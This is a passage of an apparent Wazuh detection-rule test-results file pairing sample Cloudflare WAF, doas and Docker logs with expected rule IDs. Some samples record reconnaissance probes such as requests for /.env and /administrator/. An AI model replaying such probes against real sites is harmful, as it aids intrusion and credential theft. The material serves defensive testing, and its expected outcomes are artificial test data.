"OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "92510", "level": "8", "expected_decoder": "json", "expected_rule": "92510", "rule_matches_expected": true, "ini_file": "cloudflare-waf.ini", "section": "Cloudflare WAF returned 401 code event"} +{"log": "{\"ClientIP\":\"154.127.53.235\",\"ClientRequestHost\":\"www.yap.com\",\"ClientRequestMethod\":\"GET\",\"ClientRequestURI\":\"/.env\",\"EdgeEndTimestamp\":\"2021-07-27T09:49:02Z\",\"EdgeResponseBytes\":2111,\"EdgeResponseStatus\":403,\"EdgeStartTimestamp\":\"2021-07-27T09:49:02Z\",\"RayID\":\"6754f49cb94be04d\",\"FirewallMatchesActions\":[\"block\"],\"FirewallMatchesRuleIDs\":[\"100016\"],\"FirewallMatchesSources\":[\"waf\"],\"OriginIP\":\"\",\"OriginSSLProtocol\":\"unknown\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":0,\"OriginResponseTime\":0,\"WAFAction\":\"drop\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"med\",\"WAFRuleID\":\"100016\",\"WAFRuleMessage\":\"Version Control - Information Disclosure\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"unknown\",\"CacheTieredFill\":false,\"CacheResponseBytes\":0,\"CacheResponseStatus\":0,\"ClientCountry\":\"us\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"noRecord\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"med\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "unknown", "CacheResponseBytes": "0", "CacheResponseStatus": "0", "CacheTieredFill": "false", "ClientCountry": "us", "ClientDeviceType": "desktop", "ClientIP": "154.127.53.235", "ClientIPClass": "noRecord", "ClientRequestHost": "www.yap.com", "ClientRequestMethod": "GET", "ClientRequestURI": "/.env", "EdgeEndTimestamp": "2021-07-27T09:49:02Z", "EdgeResponseBytes": "2111", "EdgeResponseStatus": "403", "EdgeStartTimestamp": "2021-07-27T09:49:02Z", "FirewallMatchesActions": "['block']", "FirewallMatchesRuleIDs": "['100016']", "FirewallMatchesSources": "['waf']", "OriginResponseBytes": "0", "OriginResponseStatus": "0", "OriginResponseTime": "0", "OriginSSLProtocol": "unknown", "RayID": "6754f49cb94be04d", "SecurityLevel": "med", "WAFAction": "drop", "WAFFlags": "0", "WAFProfile": "med", "WAFRuleID": "100016", "WAFRuleMessage": "Version Control - Information Disclosure", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WAFRuleID", "WAFRuleMessage", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "92511", "level": "7", "expected_decoder": "json", "expected_rule": "92511", "rule_matches_expected": true, "ini_file": "cloudflare-waf.ini", "section": "Cloudflare WAF returned 403 code event"} +{"log": "{\"ClientIP\":\"2a03:2880:ff:1c::face:b00c\",\"ClientRequestHost\":\"www.yap.com\",\"ClientRequestMethod\":\"GET\",\"ClientRequestURI\":\"/wp-content/uploads/2018/04/02_FinalLogo_Yap-01-e1552502263276.png\",\"EdgeEndTimestamp\":\"2021-07-27T09:51:56Z\",\"EdgeResponseBytes\":747,\"EdgeResponseStatus\":404,\"EdgeStartTimestamp\":\"2021-07-27T09:51:55Z\",\"RayID\":\"6754f8d649badbc8\",\"FirewallMatchesActions\":[],\"FirewallMatchesRuleIDs\":[],\"FirewallMatchesSources\":[],\"OriginIP\":\"99.83.253.40\",\"OriginSSLProtocol\":\"TLSv1.2\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":404,\"OriginResponseTime\":480000000,\"WAFAction\":\"unknown\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"unknown\",\"WAFRuleID\":\"\",\"WAFRuleMessage\":\"\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"miss\",\"CacheTieredFill\":false,\"CacheResponseBytes\":1973,\"CacheResponseStatus\":404,\"ClientCountry\":\"us\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"unknown\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"med\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "miss", "CacheResponseBytes": "1973", "CacheResponseStatus": "404", "CacheTieredFill": "false", "ClientCountry": "us", "ClientDeviceType": "desktop", "ClientIP": "2a03:2880:ff:1c::face:b00c", "ClientIPClass": "unknown", "ClientRequestHost": "www.yap.com", "ClientRequestMethod": "GET", "ClientRequestURI": "/wp-content/uploads/2018/04/02_FinalLogo_Yap-01-e1552502263276.png", "EdgeEndTimestamp": "2021-07-27T09:51:56Z", "EdgeResponseBytes": "747", "EdgeResponseStatus": "404", "EdgeStartTimestamp": "2021-07-27T09:51:55Z", "FirewallMatchesActions": "[]", "FirewallMatchesRuleIDs": "[]", "FirewallMatchesSources": "[]", "OriginIP": "99.83.253.40", "OriginResponseBytes": "0", "OriginResponseStatus": "404", "OriginResponseTime": "480000000", "OriginSSLProtocol": "TLSv1.2", "RayID": "6754f8d649badbc8", "SecurityLevel": "med", "WAFAction": "unknown", "WAFFlags": "0", "WAFProfile": "unknown", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginIP", "OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "92512", "level": "4", "expected_decoder": "json", "expected_rule": "92512", "rule_matches_expected": true, "ini_file": "cloudflare-waf.ini", "section": "Cloudflare WAF returned 404 code event"} +{"log": "{\"ClientIP\":\"52.114.6.38\",\"ClientRequestHost\":\"ae-preprod.yap.com\",\"ClientRequestMethod\":\"GET\",\"ClientRequestURI\":\"/auth/oauth/oidc/token?client_id=jith@yopmail.com&client_secret=1212&grant_type=client_credentials\",\"EdgeEndTimestamp\":\"2021-07-27T06:16:50Z\",\"EdgeResponseBytes\":833,\"EdgeResponseStatus\":405,\"EdgeStartTimestamp\":\"2021-07-27T06:16:50Z\",\"RayID\":\"6753bdc13cf51944\",\"FirewallMatchesActions\":[],\"FirewallMatchesRuleIDs\":[],\"FirewallMatchesSources\":[],\"OriginIP\":\"75.2.33.181\",\"OriginSSLProtocol\":\"TLSv1.2\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":405,\"OriginResponseTime\":746000000,\"WAFAction\":\"unknown\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"unknown\",\"WAFRuleID\":\"\",\"WAFRuleMessage\":\"\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"unknown\",\"CacheTieredFill\":false,\"CacheResponseBytes\":1973,\"CacheResponseStatus\":405,\"ClientCountry\":\"hk\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"unknown\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"med\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "unknown", "CacheResponseBytes": "1973", "CacheResponseStatus": "405", "CacheTieredFill": "false", "ClientCountry": "hk", "ClientDeviceType": "desktop", "ClientIP": "52.114.6.38", "ClientIPClass": "unknown", "ClientRequestHost": "ae-preprod.yap.com", "ClientRequestMethod": "GET", "ClientRequestURI": "/auth/oauth/oidc/token?client_id=jith@yopmail.com&client_secret=1212&grant_type=client_credentials", "EdgeEndTimestamp": "2021-07-27T06:16:50Z", "EdgeResponseBytes": "833", "EdgeResponseStatus": "405", "EdgeStartTimestamp": "2021-07-27T06:16:50Z", "FirewallMatchesActions": "[]", "FirewallMatchesRuleIDs": "[]", "FirewallMatchesSources": "[]", "OriginIP": "75.2.33.181", "OriginResponseBytes": "0", "OriginResponseStatus": "405", "OriginResponseTime": "746000000", "OriginSSLProtocol": "TLSv1.2", "RayID": "6753bdc13cf51944", "SecurityLevel": "med", "WAFAction": "unknown", "WAFFlags": "0", "WAFProfile": "unknown", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginIP", "OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "92513", "level": "4", "expected_decoder": "json", "expected_rule": "92513", "rule_matches_expected": true, "ini_file": "cloudflare-waf.ini", "section": "Cloudflare WAF returned 405 code event"} +{"log": "{\"ClientIP\":\"2600:1f14:b62:9e04:9e4d:874f:5c00:d627\",\"ClientRequestHost\":\"www.yap.com\",\"ClientRequestMethod\":\"GET\",\"ClientRequestURI\":\"/administrator/\",\"EdgeEndTimestamp\":\"2021-07-27T20:53:26Z\",\"EdgeResponseBytes\":413,\"EdgeResponseStatus\":413,\"EdgeStartTimestamp\":\"2021-07-27T20:53:26Z\",\"RayID\":\"6758c1d5ab061392\",\"FirewallMatchesActions\":[],\"FirewallMatchesRuleIDs\":[],\"FirewallMatchesSources\":[],\"OriginIP\":\"\",\"OriginSSLProtocol\":\"unknown\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":0,\"OriginResponseTime\":0,\"WAFAction\":\"unknown\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"unknown\",\"WAFRuleID\":\"\",\"WAFRuleMessage\":\"\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"unknown\",\"CacheTieredFill\":false,\"CacheResponseBytes\":0,\"CacheResponseStatus\":0,\"ClientCountry\":\"us\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"noRecord\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"med\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "unknown", "CacheResponseBytes": "0", "CacheResponseStatus": "0", "CacheTieredFill": "false", "ClientCountry": "us", "ClientDeviceType": "desktop", "ClientIP": "2600:1f14:b62:9e04:9e4d:874f:5c00:d627", "ClientIPClass": "noRecord", "ClientRequestHost": "www.yap.com", "ClientRequestMethod": "GET", "ClientRequestURI": "/administrator/", "EdgeEndTimestamp": "2021-07-27T20:53:26Z", "EdgeResponseBytes": "413", "EdgeResponseStatus": "413", "EdgeStartTimestamp": "2021-07-27T20:53:26Z", "FirewallMatchesActions": "[]", "FirewallMatchesRuleIDs": "[]", "FirewallMatchesSources": "[]", "OriginResponseBytes": "0", "OriginResponseStatus": "0", "OriginResponseTime": "0", "OriginSSLProtocol": "unknown", "RayID": "6758c1d5ab061392", "SecurityLevel": "med", "WAFAction": "unknown", "WAFFlags": "0", "WAFProfile": "unknown", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "92514", "level": "4", "expected_decoder": "json", "expected_rule": "92514", "rule_matches_expected": true, "ini_file": "cloudflare-waf.ini", "section": "Cloudflare WAF returned 413 code event"} +{"log": "{\"ClientIP\":\"103.27.22.10\",\"ClientRequestHost\":\"ae-preprod.yap.com\",\"ClientRequestMethod\":\"GET\",\"ClientRequestURI\":\"/customers/api/accounts\",\"EdgeEndTimestamp\":\"2021-07-27T04:48:26Z\",\"EdgeResponseBytes\":1552,\"EdgeResponseStatus\":500,\"EdgeStartTimestamp\":\"2021-07-27T04:48:25Z\",\"RayID\":\"67533c3d9ed0d3f7\",\"FirewallMatchesActions\":[],\"FirewallMatchesRuleIDs\":[],\"FirewallMatchesSources\":[],\"OriginIP\":\"75.2.33.181\",\"OriginSSLProtocol\":\"TLSv1.2\",\"OriginResponseBytes\":0,\"OriginResponseHTTPExpires\":\"\",\"OriginResponseHTTPLastModified\":\"\",\"OriginResponseStatus\":500,\"OriginResponseTime\":1125000000,\"WAFAction\":\"unknown\",\"WAFFlags\":\"0\",\"WAFMatchedVar\":\"\",\"WAFProfile\":\"unknown\",\"WAFRuleID\":\"\",\"WAFRuleMessage\":\"\",\"WorkerCPUTime\":0,\"WorkerStatus\":\"unknown\",\"WorkerSubrequest\":false,\"WorkerSubrequestCount\":0,\"CacheCacheStatus\":\"unknown\",\"CacheTieredFill\":false,\"CacheResponseBytes\":2224,\"CacheResponseStatus\":500,\"ClientCountry\":\"pk\",\"ClientDeviceType\":\"desktop\",\"ClientIPClass\":\"noRecord\",\"ZoneID\":276192118,\"ZoneName\":\"yap.com\",\"SecurityLevel\":\"unk\"}", "decoder": "json", "parent": "", "fields": {"CacheCacheStatus": "unknown", "CacheResponseBytes": "2224", "CacheResponseStatus": "500", "CacheTieredFill": "false", "ClientCountry": "pk", "ClientDeviceType": "desktop", "ClientIP": "103.27.22.10", "ClientIPClass": "noRecord", "ClientRequestHost": "ae-preprod.yap.com", "ClientRequestMethod": "GET", "ClientRequestURI": "/customers/api/accounts", "EdgeEndTimestamp": "2021-07-27T04:48:26Z", "EdgeResponseBytes": "1552", "EdgeResponseStatus": "500", "EdgeStartTimestamp": "2021-07-27T04:48:25Z", "FirewallMatchesActions": "[]", "FirewallMatchesRuleIDs": "[]", "FirewallMatchesSources": "[]", "OriginIP": "75.2.33.181", "OriginResponseBytes": "0", "OriginResponseStatus": "500", "OriginResponseTime": "1125000000", "OriginSSLProtocol": "TLSv1.2", "RayID": "67533c3d9ed0d3f7", "SecurityLevel": "unk", "WAFAction": "unknown", "WAFFlags": "0", "WAFProfile": "unknown", "WorkerCPUTime": "0", "WorkerStatus": "unknown", "WorkerSubrequest": "false", "WorkerSubrequestCount": "0", "ZoneID": "276192118", "ZoneName": "yap.com"}, "field_names": ["CacheCacheStatus", "CacheResponseBytes", "CacheResponseStatus", "CacheTieredFill", "ClientCountry", "ClientDeviceType", "ClientIP", "ClientIPClass", "ClientRequestHost", "ClientRequestMethod", "ClientRequestURI", "EdgeEndTimestamp", "EdgeResponseBytes", "EdgeResponseStatus", "EdgeStartTimestamp", "FirewallMatchesActions", "FirewallMatchesRuleIDs", "FirewallMatchesSources", "OriginIP", "OriginResponseBytes", "OriginResponseStatus", "OriginResponseTime", "OriginSSLProtocol", "RayID", "SecurityLevel", "WAFAction", "WAFFlags", "WAFProfile", "WorkerCPUTime", "WorkerStatus", "WorkerSubrequest", "WorkerSubrequestCount", "ZoneID", "ZoneName"], "rule": "92515", "level": "4", "expected_decoder": "json", "expected_rule": "92515", "rule_matches_expected": true, "ini_file": "cloudflare-waf.ini", "section": "Cloudflare WAF returned 500 code event"} +{"log": "Apr 13 08:49:20 ix doas: failed command for ddp2: ls", "decoder": "doas", "parent": "", "fields": {"srcuser": "ddp2"}, "field_names": ["srcuser"], "rule": "51554", "level": "5", "expected_decoder": "doas", "expected_rule": "51554", "rule_matches_expected": true, "ini_file": "doas.ini", "section": "failed command"} +{"log": "Mar 22 07:21:58 ix doas: ddp ran command /bin/ksh as root from /data/ddp/projects/git/sysconf/ossec/rules", "decoder": "doas", "parent": "", "fields": {"srcuser": "ddp"}, "field_names": ["srcuser"], "rule": "51556", "level": "2", "expected_decoder": "doas", "expected_rule": "51556", "rule_matches_expected": true, "ini_file": "doas.ini", "section": "command run as root"} +{"log": "Feb 29 14:58:39 ix doas: failed auth for ddp", "decoder": "doas", "parent": "", "fields": {}, "field_names": [], "rule": "51557", "level": "5", "expected_decoder": "doas", "expected_rule": "51557", "rule_matches_expected": true, "ini_file": "doas.ini", "section": "failed auth"} +{"log": "Aug 13 15:16:40 ix doas: ddp ran command as ddpnfs: ls", "decoder": "doas", "parent": "", "fields": {"dstuser": "ddpnfs", "srcuser": "ddp"}, "field_names": ["dstuser", "srcuser"], "rule": "51555", "level": "1", "expected_decoder": "doas", "expected_rule": "51555", "rule_matches_expected": true, "ini_file": "doas.ini", "section": "doas command run"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"container\", \"Action\": \"create\", \"Actor\": {\"ID\": \"acedfgh123456789abcdef\", \"Attributes\": {\"image\": \"nginx:latest\", \"maintainer\": \"NGINX Docker Maintainers \", \"name\": \"wazuh-test-container\"}}, \"scope\": \"local\", \"time\": 1766395777, \"timeNano\": 1766395777009588769}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "create", "docker.Actor.Attributes.image": "nginx:latest", "docker.Actor.Attributes.maintainer": "NGINX Docker Maintainers ", "docker.Actor.Attributes.name": "wazuh-test-container", "docker.Actor.ID": "acedfgh123456789abcdef", "docker.Type": "container", "docker.scope": "local", "docker.time": "1766395777", "docker.timeNano": "1766395777009588736.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.image", "docker.Actor.Attributes.maintainer", "docker.Actor.Attributes.name", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87901", "level": "3", "expected_decoder": "json", "expected_rule": "87901", "rule_matches_expected": true, "ini_file": "docker_integration.ini", "section": "Docker container created"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"container\", \"Action\": \"start\", \"Actor\": {\"ID\": \"acedfgh123456789abcdef\", \"Attributes\": {\"image\": \"nginx:latest\", \"maintainer\": \"NGINX Docker Maintainers \", \"name\": \"wazuh-test-container\"}}, \"scope\": \"local\", \"time\": 1766395777, \"timeNano\": 1766395777009588769}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "start", "docker.Actor.Attributes.image": "nginx:latest", "docker.Actor.Attributes.maintainer": "NGINX Docker Maintainers ", "docker.Actor.Attributes.name": "wazuh-test-container", "docker.Actor.ID": "acedfgh123456789abcdef", "docker.Type": "container", "docker.scope": "local", "docker.time": "1766395777", "docker.timeNano": "1766395777009588736.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.image", "docker.Actor.Attributes.maintainer", "docker.Actor.Attributes.name", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87903", "level": "3", "expected_decoder": "json", "expected_rule": "87903", "rule_matches_expected": true, "ini_file": "docker_integration.ini", "section": "Docker container started"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"container\", \"Action\": \"stop\", \"Actor\": {\"ID\": \"acedfgh123456789abcdef\", \"Attributes\": {\"image\": \"nginx:latest\", \"maintainer\": \"NGINX Docker Maintainers \", \"name\": \"wazuh-test-container\"}}, \"scope\": \"local\", \"time\": 1766397293, \"timeNano\": 1766397293655089317}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "stop", "docker.Actor.Attributes.image": "nginx:latest", "docker.Actor.Attributes.maintainer": "NGINX Docker Maintainers ", "docker.Actor.Attributes.name": "wazuh-test-container", "docker.Actor.ID": "acedfgh123456789abcdef", "docker.Type": "container", "docker.scope": "local", "docker.time": "1766397293", "docker.timeNano": "1766397293655089408.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.image", "docker.Actor.Attributes.maintainer", "docker.Actor.Attributes.name", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87904", "level": "3", "expected_decoder": "json", "expected_rule": "87904", "rule_matches_expected": true, "ini_file": "docker_integration.ini", "section": "Docker container stopped"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"container\", \"Action\": \"die\", \"Actor\": {\"ID\": \"acedfgh123456789abcdef\", \"Attributes\": {\"execDuration\": \"20\", \"exitCode\": \"0\", \"image\": \"nginx:latest\", \"maintainer\": \"NGINX Docker Maintainers \", \"name\": \"wazuh-test-container\"}}, \"scope\": \"local\", \"time\": 1766397293, \"timeNano\": 1766397293673509492}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "die", "docker.Actor.Attributes.execDuration": "20", "docker.Actor.Attributes.exitCode": "0", "docker.Actor.Attributes.image": "nginx:latest", "docker.Actor.Attributes.maintainer": "NGINX Docker Maintainers ", "docker.Actor.Attributes.name": "wazuh-test-container", "docker.Actor.ID": "acedfgh123456789abcdef", "docker.Type": "container", "docker.scope": "local", "docker.time": "1766397293", "docker.timeNano": "1766397293673509376.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.execDuration", "docker.Actor.Attributes.exitCode", "docker.Actor.Attributes.image", "docker.Actor.Attributes.maintainer", "docker.Actor.Attributes.name", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87924", "level": "7", "expected_decoder": "json", "expected_rule": "87924", "rule_matches_expected": true, "ini_file": "docker_integration.ini", "section": "Docker container die"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"container\", \"Action\": \"destroy\", \"Actor\": {\"ID\": \"acedfgh123456789abcdef\", \"Attributes\": {\"image\": \"nginx:latest\", \"name\": \"wazuh-test-container\"}}, \"scope\": \"local\", \"time\": 1766397300, \"timeNano\": 1766397300123456789}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "destroy", "docker.Actor.Attributes.image": "nginx:latest", "docker.Actor.Attributes.name": "wazuh-test-container", "docker.Actor.ID": "acedfgh123456789abcdef", "docker.Type": "container", "docker.scope": "local", "docker.time": "1766397300", "docker.timeNano": "1766397300123456768.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.image", "docker.Actor.Attributes.name", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87902", "level": "5", "expected_decoder": "json", "expected_rule": "87902", "rule_matches_expected": true, "ini_file": "docker_integration.ini", "section": "Docker container destroyed"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"container\", \"Action\": \"delete\", \"Actor\": {\"ID\": \"acedfgh123456789abcdef\", \"Attributes\": {\"image\": \"nginx:latest\", \"name\": \"wazuh-test-container\"}}, \"scope\": \"local\", \"time\": 1766397310, \"timeNano\": 1766397310987654321}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "delete", "docker.Actor.Attributes.image": "nginx:latest", "docker.Actor.Attributes.name": "wazuh-test-container", "docker.Actor.ID": "acedfgh123456789abcdef", "docker.Type": "container", "docker.scope": "local", "docker.time": "1766397310", "docker.timeNano": "1766397310987654400.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.image", "docker.Actor.Attributes.name", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87921", "level": "7", "expected_decoder": "json", "expected_rule": "87921", "rule_matches_expected": true, "ini_file": "docker_integration.ini", "section": "Docker container deleted"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"container\", \"Action\": \"exec_start: bash \", \"Actor\": {\"ID\": \"acedfgh123456789abcdef\", \"Attributes\": {\"image\": \"nginx:latest\", \"name\": \"wazuh-test-container\"}}, \"scope\": \"local\", \"time\": 1766395800, \"timeNano\": 1766395800111222333}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "exec_start: bash ", "docker.Actor.Attributes.image": "nginx:latest", "docker.Actor.Attributes.name": "wazuh-test-container", "docker.Actor.ID": "acedfgh123456789abcdef", "docker.Type": "container", "docker.scope": "local", "docker.time": "1766395800", "docker.timeNano": "1766395800111222272.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.image", "docker.Actor.Attributes.name", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87908", "level": "5", "expected_decoder": "json", "expected_rule": "87908", "rule_matches_expected": true, "ini_file": "docker_integration.ini", "section": "Docker shell session started"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"volume\", \"Action\": \"create\", \"Actor\": {\"ID\": \"volumeacedfgh123\", \"Attributes\": {\"driver\": \"local\", \"name\": \"wazuh-volume\"}}, \"scope\": \"local\", \"time\": 1766395900, \"timeNano\": 1766395900444555666}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "create", "docker.Actor.Attributes.driver": "local", "docker.Actor.Attributes.name": "wazuh-volume", "docker.Actor.ID": "volumeacedfgh123", "docker.Type": "volume", "docker.scope": "local", "docker.time": "1766395900", "docker.timeNano": "1766395900444555776.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.driver", "docker.Actor.Attributes.name", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87913", "level": "3", "expected_decoder": "json", "expected_rule": "87913", "rule_matches_expected": true, "ini_file": "docker_integration.ini", "section": "Docker volume created"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"volume\", \"Action\": \"destroy\", \"Actor\": {\"ID\": \"volumeacedfgh123\", \"Attributes\": {\"driver\": \"local\", \"name\": \"wazuh-volume\"}}, \"scope\": \"local\", \"time\": 1766396000, \"timeNano\": 1766396000777888999}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "destroy", "docker.Actor.Attributes.driver": "local", "docker.Actor.Attributes.name": "wazuh-volume", "docker.Actor.ID": "volumeacedfgh123", "docker.Type": "volume", "docker.scope": "local", "docker.time": "1766396000", "docker.timeNano": "1766396000777889024.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.driver", "docker.Actor.Attributes.name", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87914", "level": "7", "expected_decoder": "json", "expected_rule": "87914", "rule_matches_expected": true, "ini_file": "docker_integration.ini", "section": "Docker volume destroyed"} +{"log": "{\"integration\": \"docker\", \"docker\": {\"Type\": \"network\", \"Action\": \"create\", \"Actor\": {\"ID\": \"networkacedfgh456\", \"Attributes\": {\"name\": \"wazuh-network\", \"type\": \"bridge\"}}, \"scope\": \"local\", \"time\": 1766396100, \"timeNano\": 1766396100111222333}}", "decoder": "json", "parent": "", "fields": {"docker.Action": "create", "docker.Actor.Attributes.name": "wazuh-network", "docker.Actor.Attributes.type": "bridge", "docker.Actor.ID": "networkacedfgh456", "docker.Type": "network", "docker.scope": "local", "docker.time": "1766396100", "docker.timeNano": "1766396100111222272.000000", "integration": "docker"}, "field_names": ["docker.Action", "docker.Actor.Attributes.name", "docker.Actor.Attributes.type", "docker.Actor.ID", "docker.Type", "docker.scope", "docker.time", "docker.timeNano", "integration"], "rule": "87930", "level": "3", "expected_decoder": "json", "expected_rule": "87930", "rule_matches_expected": true, "ini_file": 